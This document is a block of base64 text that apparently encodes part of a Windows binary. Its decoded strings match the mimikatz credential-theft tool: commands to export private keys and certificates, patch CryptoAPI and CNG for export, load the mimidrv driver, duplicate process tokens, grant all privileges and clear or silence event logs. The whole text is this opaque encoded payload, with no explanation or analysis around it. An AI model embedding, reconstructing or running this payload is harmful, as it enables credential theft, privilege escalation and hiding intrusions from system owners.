QmtBR1VBY2dCekFBQUFUQUJwQUhNQWRBQWdBR01BY2dCNUFIQUFkQUJ2QUdjQWNnQmhBSEFBYUFCcEFHTUFJQUJ3QUhJQWJ3QjJBR2tBWkFCbEFISUFjd0FBQUFBQWN3QjBBRzhBY2dCbEFITUFBQUFBQUV3QWFRQnpBSFFBSUFCakFISUFlUUJ3QUhRQWJ3Qm5BSElBWVFCd0FHZ0FhUUJqQUNBQWN3QjBBRzhBY2dCbEFITUFBQUJqQUdVQWNnQjBBR2tBWmdCcEFHTUFZUUIwQUdVQWN3QUFBQUFBVEFCcEFITUFkQUFnQUNnQWJ3QnlBQ0FBWlFCNEFIQUFid0J5QUhRQUtRQWdBR01BWlFCeUFIUUFhUUJtQUdrQVl3QmhBSFFBWlFCekFBQUFhd0JsQUhrQWN3QUFBQUFBQUFBQUFFd0FhUUJ6QUhRQUlBQW9BRzhBY2dBZ0FHVUFlQUJ3QUc4QWNnQjBBQ2tBSUFCckFHVUFlUUJ6QUNBQVl3QnZBRzRBZEFCaEFHa0FiZ0JsQUhJQWN3QUFBQUFBQUFBQUFFZ0FZUUJ6QUdnQUlBQmhBQ0FBY0FCaEFITUFjd0IzQUc4QWNnQmtBQ0FBZHdCcEFIUUFhQUFnQUc4QWNBQjBBR2tBYndCdUFHRUFiQUFnQUhVQWN3QmxBSElBYmdCaEFHMEFaUUFBQUFBQVd3QmxBSGdBY0FCbEFISUFhUUJ0QUdVQWJnQjBBR0VBYkFCZEFDQUFVQUJoQUhRQVl3Qm9BQ0FBUXdCeUFIa0FjQUIwQUc4QVFRQlFBRWtBSUFCc0FHRUFlUUJsQUhJQUlBQm1BRzhBY2dBZ0FHVUFZUUJ6QUhrQUlBQmxBSGdBY0FCdkFISUFkQUFBQUFBQUFBQUFBRnNBWlFCNEFIQUFaUUJ5QUdrQWJRQmxBRzRBZEFCaEFHd0FYUUFnQUZBQVlRQjBBR01BYUFBZ0FFTUFUZ0JIQUNBQWN3QmxBSElBZGdCcEFHTUFaUUFnQUdZQWJ3QnlBQ0FBWlFCaEFITUFlUUFnQUdVQWVBQndBRzhBY2dCMEFBQUFBQUJqQUhJQWVRQndBSFFBYndBQUFBQUFRd0J5QUhrQWNBQjBBRzhBSUFCTkFHOEFaQUIxQUd3QVpRQUFBSElBY3dCaEFHVUFiZ0JvQUFBQUFBQkRVRVY0Y0c5eWRFdGxlUUJ1QUdNQWNnQjVBSEFBZEFBQUFBQUFUa055ZVhCMFQzQmxibE4wYjNKaFoyVlFjbTkyYVdSbGNnQUFBRTVEY25sd2RFVnVkVzFMWlhsekFBQk9RM0o1Y0hSUGNHVnVTMlY1QUFBQVRrTnllWEIwU1cxd2IzSjBTMlY1QUU1RGNubHdkRVY0Y0c5eWRFdGxlUUJPUTNKNWNIUkhaWFJRY205d1pYSjBlUUFBQUU1RGNubHdkRk5sZEZCeWIzQmxjblI1QUFBQVRrTnllWEIwUm5KbFpVSjFabVpsY2dBQUFBQk9RM0o1Y0hSR2NtVmxUMkpxWldOMEFBQUFBRUpEY25sd2RFVnVkVzFTWldkcGMzUmxjbVZrVUhKdmRtbGtaWEp6QUFBQVFrTnllWEIwUm5KbFpVSjFabVpsY2dBQUFBQUtBRU1BY2dCNUFIQUFkQUJ2QUVFQVVBQkpBQ0FBY0FCeUFHOEFkZ0JwQUdRQVpRQnlBSE1BSUFBNkFBb0FBQUFsQURJQWRRQXVBQ0FBSlFCekFBb0FBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBWXdCeUFIa0FjQUIwQUc4QVh3QnNBRjhBY0FCeUFHOEFkZ0JwQUdRQVpRQnlBSE1BSUFBN0FDQUFRd0J5QUhrQWNBQjBBRVVBYmdCMUFHMEFVQUJ5QUc4QWRnQnBBR1FBWlFCeUFITUFJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUFBQUNnQkRBRTRBUndBZ0FIQUFjZ0J2QUhZQWFRQmtBR1VBY2dCekFDQUFPZ0FLQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFZd0J5QUhrQWNBQjBBRzhBWHdCc0FGOEFjQUJ5QUc4QWRnQnBBR1FBWlFCeUFITUFJQUE3QUNBQVFnQkRBSElBZVFCd0FIUUFSUUJ1QUhVQWJRQlNBR1VBWndCcEFITUFkQUJsQUhJQVpRQmtBRkFBY2dCdkFIWUFhUUJrQUdVQWNnQnpBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFCREFGVUFVZ0JTQUVVQVRnQlVBRjhBVlFCVEFFVUFVZ0FBQUFBQWN3QjVBSE1BZEFCbEFHMEFjd0IwQUc4QWNnQmxBQUFBUVFCekFHc0FhUUJ1QUdjQUlBQm1BRzhBY2dBZ0FGTUFlUUJ6QUhRQVpRQnRBQ0FBVXdCMEFHOEFjZ0JsQUNBQUp3QWxBSE1BSndBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR01BY2dCNUFIQUFkQUJ2QUY4QWJBQmZBSE1BZEFCdkFISUFaUUJ6QUNBQU93QWdBRU1BWlFCeUFIUUFSUUJ1QUhVQWJRQlRBSGtBY3dCMEFHVUFiUUJUQUhRQWJ3QnlBR1VBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFUUUI1QUFBQUFBQnpBSFFBYndCeUFHVUFBQUFnQUNvQUlBQlRBSGtBY3dCMEFHVUFiUUFnQUZNQWRBQnZBSElBWlFBZ0FDQUFPZ0FnQUNjQUpRQnpBQ2NBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBZ0FDb0FJQUJUQUhRQWJ3QnlBR1VBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDY0FKUUJ6QUNjQUNnQUtBQUFBQUFBb0FHNEFkUUJzQUd3QUtRQUFBQUFBQ1FCTEFHVUFlUUFnQUVNQWJ3QnVBSFFBWVFCcEFHNEFaUUJ5QUNBQUlBQTZBQ0FBSlFCekFBb0FDUUJRQUhJQWJ3QjJBR2tBWkFCbEFISUFJQUFnQUNBQUlBQWdBQ0FBSUFBNkFDQUFKUUJ6QUFvQUFBQUFBQWtBVkFCNUFIQUFaUUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQU9nQWdBQ1VBY3dBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR01BY2dCNUFIQUFkQUJ2QUY4QWJBQmZBR01BWlFCeUFIUUFhUUJtQUdrQVl3QmhBSFFBWlFCekFDQUFPd0FnQUVNQWNnQjVBSEFBZEFCSEFHVUFkQUJWQUhNQVpRQnlBRXNBWlFCNUFDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFBb0FBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBWXdCeUFIa0FjQUIwQUc4QVh3QnNBRjhBWXdCbEFISUFkQUJwQUdZQWFRQmpBR0VBZEFCbEFITUFJQUE3QUNBQWF3QmxBSGtBVXdCd0FHVUFZd0FnQUQwQVBRQWdBRU1BUlFCU0FGUUFYd0JPQUVNQVVnQlpBRkFBVkFCZkFFc0FSUUJaQUY4QVV3QlFBRVVBUXdBZ0FIY0FhUUIwQUdnQWJ3QjFBSFFBSUFCREFFNEFSd0FnQUVnQVlRQnVBR1FBYkFCbEFDQUFQd0FLQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHTUFjZ0I1QUhBQWRBQnZBRjhBYkFCZkFHTUFaUUJ5QUhRQWFRQm1BR2tBWXdCaEFIUUFaUUJ6QUNBQU93QWdBRU1BY2dCNUFIQUFkQUJCQUdNQWNRQjFBR2tBY2dCbEFFTUFaUUJ5QUhRQWFRQm1BR2tBWXdCaEFIUUFaUUJRQUhJQWFRQjJBR0VBZEFCbEFFc0FaUUI1QUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUdNQWNnQjVBSEFBZEFCdkFGOEFiQUJmQUdNQVpRQnlBSFFBYVFCbUFHa0FZd0JoQUhRQVpRQnpBQ0FBT3dBZ0FFTUFaUUJ5QUhRQVJ3QmxBSFFBUXdCbEFISUFkQUJwQUdZQWFRQmpBR0VBZEFCbEFFTUFid0J1QUhRQVpRQjRBSFFBVUFCeUFHOEFjQUJsQUhJQWRBQjVBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR01BY2dCNUFIQUFkQUJ2QUY4QWJBQmZBR01BWlFCeUFIUUFhUUJtQUdrQVl3QmhBSFFBWlFCekFDQUFPd0FnQUVNQVpRQnlBSFFBUndCbEFIUUFUZ0JoQUcwQVpRQlRBSFFBY2dCcEFHNEFad0FnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JqQUhJQWVRQndBSFFBYndCZkFHd0FYd0JqQUdVQWNnQjBBR2tBWmdCcEFHTUFZUUIwQUdVQWN3QWdBRHNBSUFCREFHVUFjZ0IwQUVjQVpRQjBBRTRBWVFCdEFHVUFVd0IwQUhJQWFRQnVBR2NBSUFBb0FHWUFid0J5QUNBQWJBQmxBRzRBS1FBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR01BY2dCNUFIQUFkQUJ2QUY4QWJBQmZBR01BWlFCeUFIUUFhUUJtQUdrQVl3QmhBSFFBWlFCekFDQUFPd0FnQUVNQVpRQnlBSFFBVHdCd0FHVUFiZ0JUQUhRQWJ3QnlBR1VBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFjQUJ5QUc4QWRnQnBBR1FBWlFCeUFBQUFBQUJ3QUhJQWJ3QjJBR2tBWkFCbEFISUFkQUI1QUhBQVpRQUFBQUFBQUFBQUFFMEFhUUJqQUhJQWJ3QnpBRzhBWmdCMEFDQUFVd0J2QUdZQWRBQjNBR0VBY2dCbEFDQUFTd0JsQUhrQUlBQlRBSFFBYndCeUFHRUFad0JsQUNBQVVBQnlBRzhBZGdCcEFHUUFaUUJ5QUFBQVl3QnVBR2NBY0FCeUFHOEFkZ0JwQUdRQVpRQnlBQUFBSUFBcUFDQUFVd0IwQUc4QWNnQmxBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBRG9BSUFBbkFDVUFjd0FuQUFvQUlBQXFBQ0FBVUFCeUFHOEFkZ0JwQUdRQVpRQnlBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQW5BQ1VBY3dBbkFDQUFLQUFuQUNVQWN3QW5BQ2tBQ2dBZ0FDb0FJQUJRQUhJQWJ3QjJBR2tBWkFCbEFISUFJQUIwQUhrQWNBQmxBQ0FBT2dBZ0FDY0FKUUJ6QUNjQUlBQW9BQ1VBZFFBcEFBb0FJQUFxQUNBQVF3Qk9BRWNBSUFCUUFISUFid0IyQUdrQVpBQmxBSElBSUFBZ0FEb0FJQUFuQUNVQWN3QW5BQW9BQUFBQUFBb0FRd0J5QUhrQWNBQjBBRzhBUVFCUUFFa0FJQUJyQUdVQWVRQnpBQ0FBT2dBS0FBQUFBQUFLQUNVQU1nQjFBQzRBSUFBbEFITUFDZ0FBQUNBQUlBQWdBQ0FBSlFCVEFBb0FBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR01BY2dCNUFIQUFkQUJ2QUY4QWJBQmZBR3NBWlFCNUFITUFJQUE3QUNBQVF3QnlBSGtBY0FCMEFFY0FaUUIwQUZVQWN3QmxBSElBU3dCbEFIa0FJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCakFISUFlUUJ3QUhRQWJ3QmZBR3dBWHdCckFHVUFlUUJ6QUNBQU93QWdBRU1BY2dCNUFIQUFkQUJIQUdVQWRBQlFBSElBYndCMkFGQUFZUUJ5QUdFQWJRQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFBS0FFTUFUZ0JIQUNBQWF3QmxBSGtBY3dBZ0FEb0FDZ0FBQUFBQVZRQnVBR2tBY1FCMUFHVUFJQUJPQUdFQWJRQmxBQUFBSUFBZ0FDQUFJQUFsQUhNQUNnQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFZd0J5QUhrQWNBQjBBRzhBWHdCc0FGOEFhd0JsQUhrQWN3QWdBRHNBSUFCT0FFTUFjZ0I1QUhBQWRBQlBBSEFBWlFCdUFFc0FaUUI1QUNBQUpRQXdBRGdBZUFBS0FBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCakFISUFlUUJ3QUhRQWJ3QmZBR3dBWHdCckFHVUFlUUJ6QUNBQU93QWdBRTRBUXdCeUFIa0FjQUIwQUVVQWJnQjFBRzBBU3dCbEFIa0Fjd0FnQUNVQU1BQTRBSGdBQ2dBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR01BY2dCNUFIQUFkQUJ2QUY4QWJBQmZBR3NBWlFCNUFITUFJQUE3QUNBQVRnQkRBSElBZVFCd0FIUUFUd0J3QUdVQWJnQlRBSFFBYndCeUFHRUFad0JsQUZBQWNnQnZBSFlBYVFCa0FHVUFjZ0FnQUNVQU1BQTRBSGdBQ2dBQUFBQUFSUUI0QUhBQWJ3QnlBSFFBSUFCUUFHOEFiQUJwQUdNQWVRQUFBRXdBWlFCdUFHY0FkQUJvQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHTUFjZ0I1QUhBQWRBQnZBRjhBY0FCeUFHa0FiZ0IwQUVzQVpRQjVBRWtBYmdCbUFHOEFjd0FnQURzQUlBQk9BRU1BY2dCNUFIQUFkQUJIQUdVQWRBQlFBSElBYndCd0FHVUFjZ0IwQUhrQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFZd0J5QUhrQWNBQjBBRzhBWHdCd0FISUFhUUJ1QUhRQVN3QmxBSGtBU1FCdUFHWUFid0J6QUNBQU93QWdBRU1BY2dCNUFIQUFkQUJIQUdVQWRBQkxBR1VBZVFCUUFHRUFjZ0JoQUcwQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQUFBV1FCRkFGTUFBQUJPQUU4QUFBQUFBQWtBUlFCNEFIQUFid0J5QUhRQVlRQmlBR3dBWlFBZ0FHc0FaUUI1QUNBQU9nQWdBQ1VBY3dBS0FBa0FTd0JsQUhrQUlBQnpBR2tBZWdCbEFDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFkUUFLQUFBQUFBQlNBRk1BUVFCUUFGSUFTUUJXQUVFQVZBQkZBRUlBVEFCUEFFSUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBWXdCeUFIa0FjQUIwQUc4QVh3QmxBSGdBY0FCdkFISUFkQUJTQUdFQWR3QkxBR1VBZVFCVUFHOEFSZ0JwQUd3QVpRQWdBRHNBSUFCT0FFTUFjZ0I1QUhBQWRBQlRBR1VBZEFCUUFISUFid0J3QUdVQWNnQjBBSGtBQ2dBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QVl3QnlBSGtBY0FCMEFHOEFYd0JsQUhnQWNBQnZBSElBZEFCU0FHRUFkd0JMQUdVQWVRQlVBRzhBUmdCcEFHd0FaUUFnQURzQUlBQk9BRU1BY2dCNUFIQUFkQUJKQUcwQWNBQnZBSElBZEFCTEFHVUFlUUFLQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFZd0J5QUhrQWNBQjBBRzhBWHdCbEFIZ0FjQUJ2QUhJQWRBQlNBR0VBZHdCTEFHVUFlUUJVQUc4QVJnQnBBR3dBWlFBZ0FEc0FJQUJPQUc4QUlBQkRBRTRBUndBaEFBb0FBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCakFISUFlUUJ3QUhRQWJ3QmZBR1VBZUFCd0FHOEFjZ0IwQUZJQVlRQjNBRXNBWlFCNUFGUUFid0JHQUdrQWJBQmxBQ0FBT3dBZ0FFTUFjZ0I1QUhBQWRBQkpBRzBBY0FCdkFISUFkQUJMQUdVQWVRQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBUXdCQkFGQUFTUUJRQUZJQVNRQldBRUVBVkFCRkFFSUFUQUJQQUVJQUFBQlBBRXNBQUFBQUFFc0FUd0FBQUFBQUNRQlFBSElBYVFCMkFHRUFkQUJsQUNBQVpRQjRBSEFBYndCeUFIUUFJQUE2QUNBQUpRQnpBQ0FBTFFBZ0FBQUFKd0FsQUhNQUp3QUtBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JqQUhJQWVRQndBSFFBYndCZkFHVUFlQUJ3QUc4QWNnQjBBRXNBWlFCNUFGUUFid0JHQUdrQWJBQmxBQ0FBT3dBZ0FFVUFlQUJ3QUc4QWNnQjBBQ0FBTHdBZ0FFTUFjZ0JsQUdFQWRBQmxBRVlBYVFCc0FHVUFJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBWXdCeUFIa0FjQUIwQUc4QVh3QmxBSGdBY0FCdkFISUFkQUJMQUdVQWVRQlVBRzhBUmdCcEFHd0FaUUFnQURzQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUdNQWNnQjVBSEFBZEFCdkFGOEFad0JsQUc0QVpRQnlBR0VBZEFCbEFFWUFhUUJzQUdVQVRnQmhBRzBBWlFBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUJrQUdVQWNnQUFBQWtBVUFCMUFHSUFiQUJwQUdNQUlBQmxBSGdBY0FCdkFISUFkQUFnQUNBQU9nQWdBQ1VBY3dBZ0FDMEFJQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBWXdCeUFIa0FjQUIwQUc4QVh3QmxBSGdBY0FCdkFISUFkQUJEQUdVQWNnQjBBQ0FBT3dBZ0FFTUFjZ0JsQUdFQWRBQmxBRVlBYVFCc0FHVUFJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHTUFjZ0I1QUhBQWRBQnZBRjhBWlFCNEFIQUFid0J5QUhRQVF3QmxBSElBZEFBZ0FEc0FJQUJyQUhVQWFBQnNBRjhBYlFCZkFHTUFjZ0I1QUhBQWRBQnZBRjhBWndCbEFHNEFaUUJ5QUdFQWRBQmxBRVlBYVFCc0FHVUFUZ0JoQUcwQVpRQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBY0FCbUFIZ0FBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCakFISUFlUUJ3QUhRQWJ3QmZBR1VBZUFCd0FHOEFjZ0IwQUVNQVpRQnlBSFFBSUFBN0FDQUFSUUI0QUhBQWJ3QnlBSFFBSUFBdkFDQUFRd0J5QUdVQVlRQjBBR1VBUmdCcEFHd0FaUUFnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHTUFjZ0I1QUhBQWRBQnZBRjhBWlFCNEFIQUFid0J5QUhRQVVBQm1BSGdBSUFBN0FDQUFVQUJHQUZnQVJRQjRBSEFBYndCeUFIUUFRd0JsQUhJQWRBQlRBSFFBYndCeUFHVUFSUUI0QUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFZd0J5QUhrQWNBQjBBRzhBWHdCRUFHVUFjZ0JCQUc0QVpBQkxBR1VBZVFCVUFHOEFVQUJtQUhnQUlBQTdBQ0FBUXdCeUFIa0FjQUIwQUVrQWJRQndBRzhBY2dCMEFFc0FaUUI1QUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JqQUhJQWVRQndBSFFBYndCZkFFUUFaUUJ5QUVFQWJnQmtBRXNBWlFCNUFGUUFid0JRQUdZQWVBQWdBRHNBSUFCVkFHNEFZUUJpQUd3QVpRQWdBSFFBYndBZ0FHUUFaUUJzQUdVQWRBQmxBQ0FBZEFCbEFHMEFjQUFnQUdzQVpRQjVBSE1BWlFCMEFDQUFKUUJ6QUFvQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JqQUhJQWVRQndBSFFBYndCZkFFUUFaUUJ5QUVFQWJnQmtBRXNBWlFCNUFGUUFid0JRQUdZQWVBQWdBRHNBSUFCREFISUFlUUJ3QUhRQVFRQmpBSEVBZFFCcEFISUFaUUJEQUc4QWJnQjBBR1VBZUFCMEFDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFBb0FBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBWXdCeUFIa0FjQUIwQUc4QVh3QkVBR1VBY2dCQkFHNEFaQUJMQUdVQWVRQlVBRzhBVUFCbUFIZ0FJQUE3QUNBQVF3QmxBSElBZEFCQkFHUUFaQUJGQUc0QVl3QnZBR1FBWlFCa0FFTUFaUUJ5QUhRQWFRQm1BR2tBWXdCaEFIUUFaUUJVQUc4QVV3QjBBRzhBY2dCbEFDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFBb0FBQUFsQUhNQVh3QWxBSE1BWHdBbEFIVUFYd0FsQUhNQUxnQWxBSE1BQUFBQUFFNEFWQUJNQUUwQU9nQWdBQUFBQUFCRUFFTUFRd0F4QURvQUlBQUFBQUFBUkFCREFFTUFNZ0E2QUNBQUFBQUFBRXdBVFFBZ0FDQUFPZ0FnQUFBQUFBQk5BRVFBTlFBZ0FEb0FJQUFBQUFBQVV3QklBRUVBTVFBNkFDQUFBQUFBQUZNQVNBQkJBRElBT2dBZ0FBQUFBQUJ5QUhNQVlRQmxBRzRBYUFBdUFHUUFiQUJzQUFBQUFBQk1BRzhBWXdCaEFHd0FJQUJEQUhJQWVRQndBSFFBYndCQkFGQUFTUUFnQUhBQVlRQjBBR01BYUFCbEFHUUFDZ0FBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFZd0J5QUhrQWNBQjBBRzhBWHdCd0FGOEFZd0JoQUhBQWFRQWdBRHNBSUFCckFIVUFiQUJzQUY4QWJRQmZBSEFBWVFCMEFHTUFhQUFnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCakFISUFlUUJ3QUhRQWJ3QmZBSEFBWHdCakFHRUFjQUJwQUNBQU93QWdBR3NBZFFCc0FHd0FYd0J0QUY4QWNBQnlBRzhBWXdCbEFITUFjd0JmQUdjQVpRQjBBRllBWlFCeUFIa0FRZ0JoQUhNQWFRQmpBRTBBYndCa0FIVUFiQUJsQUVrQWJnQm1BRzhBY2dCdEFHRUFkQUJwQUc4QWJnQnpBRVlBYndCeUFFNEFZUUJ0QUdVQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBRzRBWXdCeUFIa0FjQUIwQUM0QVpBQnNBR3dBQUFBQUFHNEFZd0J5QUhrQWNBQjBBSEFBY2dCdkFIWUFMZ0JrQUd3QWJBQUFBQUFBU3dCbEFIa0FTUUJ6QUc4QUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFZd0J5QUhrQWNBQjBBRzhBWHdCd0FGOEFZd0J1QUdjQUlBQTdBQ0FBVGdCdkFDQUFRd0JPQUVjQUNnQUFBR1FBY2dCdkFIQUFBQUFBQUFBQUFBQmJBR1VBZUFCd0FHVUFjZ0JwQUcwQVpRQnVBSFFBWVFCc0FGMEFJQUJ3QUdFQWRBQmpBR2dBSUFCRkFIWUFaUUJ1QUhRQWN3QWdBSE1BWlFCeUFIWUFhUUJqQUdVQUlBQjBBRzhBSUFCaEFIWUFid0JwQUdRQUlBQnVBR1VBZHdBZ0FHVUFkZ0JsQUc0QWRBQnpBQUFBWXdCc0FHVUFZUUJ5QUFBQVF3QnNBR1VBWVFCeUFDQUFZUUJ1QUNBQVpRQjJBR1VBYmdCMEFDQUFiQUJ2QUdjQUFBQUFBR1VBZGdCbEFHNEFkQUFBQUVVQWRnQmxBRzRBZEFBZ0FHMEFid0JrQUhVQWJBQmxBQUFBQUFCbEFIWUFaUUJ1QUhRQWJBQnZBR2NBTGdCa0FHd0FiQUFBQUFBQWR3QmxBSFlBZEFCekFIWUFZd0F1QUdRQWJBQnNBQUFBUlFCMkFHVUFiZ0IwQUV3QWJ3Qm5BQUFBQUFCVEFHVUFZd0IxQUhJQWFRQjBBSGtBQUFBQUFHd0Fid0JuQUFBQVZRQnpBR2tBYmdCbkFDQUFJZ0FsQUhNQUlnQWdBR1VBZGdCbEFHNEFkQUFnQUd3QWJ3Qm5BQ0FBT2dBS0FBQUFMUUFnQUNVQWRRQWdBR1VBZGdCbEFHNEFkQUFvQUhNQUtRQUtBQUFBQUFBdEFDQUFRd0JzQUdVQVlRQnlBR1VBWkFBZ0FDRUFDZ0FBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFaUUIyQUdVQWJnQjBBRjhBWXdCc0FHVUFZUUJ5QUNBQU93QWdBRU1BYkFCbEFHRUFjZ0JGQUhZQVpRQnVBSFFBVEFCdkFHY0FJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCbEFIWUFaUUJ1QUhRQVh3QmpBR3dBWlFCaEFISUFJQUE3QUNBQVR3QndBR1VBYmdCRkFIWUFaUUJ1QUhRQVRBQnZBR2NBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFDc0FBQUJKQUc0QWN3QjBBR0VBYkFCc0FDQUFZUUJ1QUdRQUx3QnZBSElBSUFCekFIUUFZUUJ5QUhRQUlBQnRBR2tBYlFCcEFHc0FZUUIwQUhvQUlBQmtBSElBYVFCMkFHVUFjZ0FnQUNnQWJRQnBBRzBBYVFCa0FISUFkZ0FwQUFBQUFBQXRBQUFBQUFBQUFGSUFaUUJ0QUc4QWRnQmxBQ0FBYlFCcEFHMEFhUUJyQUdFQWRBQjZBQ0FBWkFCeUFHa0FkZ0JsQUhJQUlBQW9BRzBBYVFCdEFHa0FaQUJ5QUhZQUtRQUFBQUFBY0FCcEFHNEFad0FBQUFBQVVBQnBBRzRBWndBZ0FIUUFhQUJsQUNBQVpBQnlBR2tBZGdCbEFISUFBQUJpQUhNQWJ3QmtBQUFBQUFCQ0FGTUFUd0JFQUNBQUlRQUFBQUFBY0FCeUFHOEFZd0JsQUhNQWN3QUFBRXdBYVFCekFIUUFJQUJ3QUhJQWJ3QmpBR1VBY3dCekFBQUFBQUJ3QUhJQWJ3QmpBR1VBY3dCekFGQUFjZ0J2QUhRQVpRQmpBSFFBQUFBQUFGQUFjZ0J2QUhRQVpRQmpBSFFBSUFCd0FISUFid0JqQUdVQWN3QnpBQUFBY0FCeUFHOEFZd0JsQUhNQWN3QlVBRzhBYXdCbEFHNEFBQUFBQUVRQWRRQndBR3dBYVFCakFHRUFkQUJsQUNBQWNBQnlBRzhBWXdCbEFITUFjd0FnQUhRQWJ3QnJBR1VBYmdBQUFIQUFjZ0J2QUdNQVpRQnpBSE1BVUFCeUFHa0FkZ0JwQUd3QVpRQm5BR1VBQUFBQUFGTUFaUUIwQUNBQVlRQnNBR3dBSUFCd0FISUFhUUIyQUdrQWJBQmxBR2NBWlFBZ0FHOEFiZ0FnQUhBQWNnQnZBR01BWlFCekFITUFBQUFBQUcwQWJ3QmtBSFVBYkFCbEFITUFBQUJNQUdrQWN3QjBBQ0FBYlFCdkFHUUFkUUJzQUdVQWN3QUFBQUFBY3dCekFHUUFkQUFBQUFBQVRBQnBBSE1BZEFBZ0FGTUFVd0JFQUZRQUFBQnVBRzhBZEFCcEFHWUFVQUJ5QUc4QVl3QmxBSE1BY3dBQUFBQUFUQUJw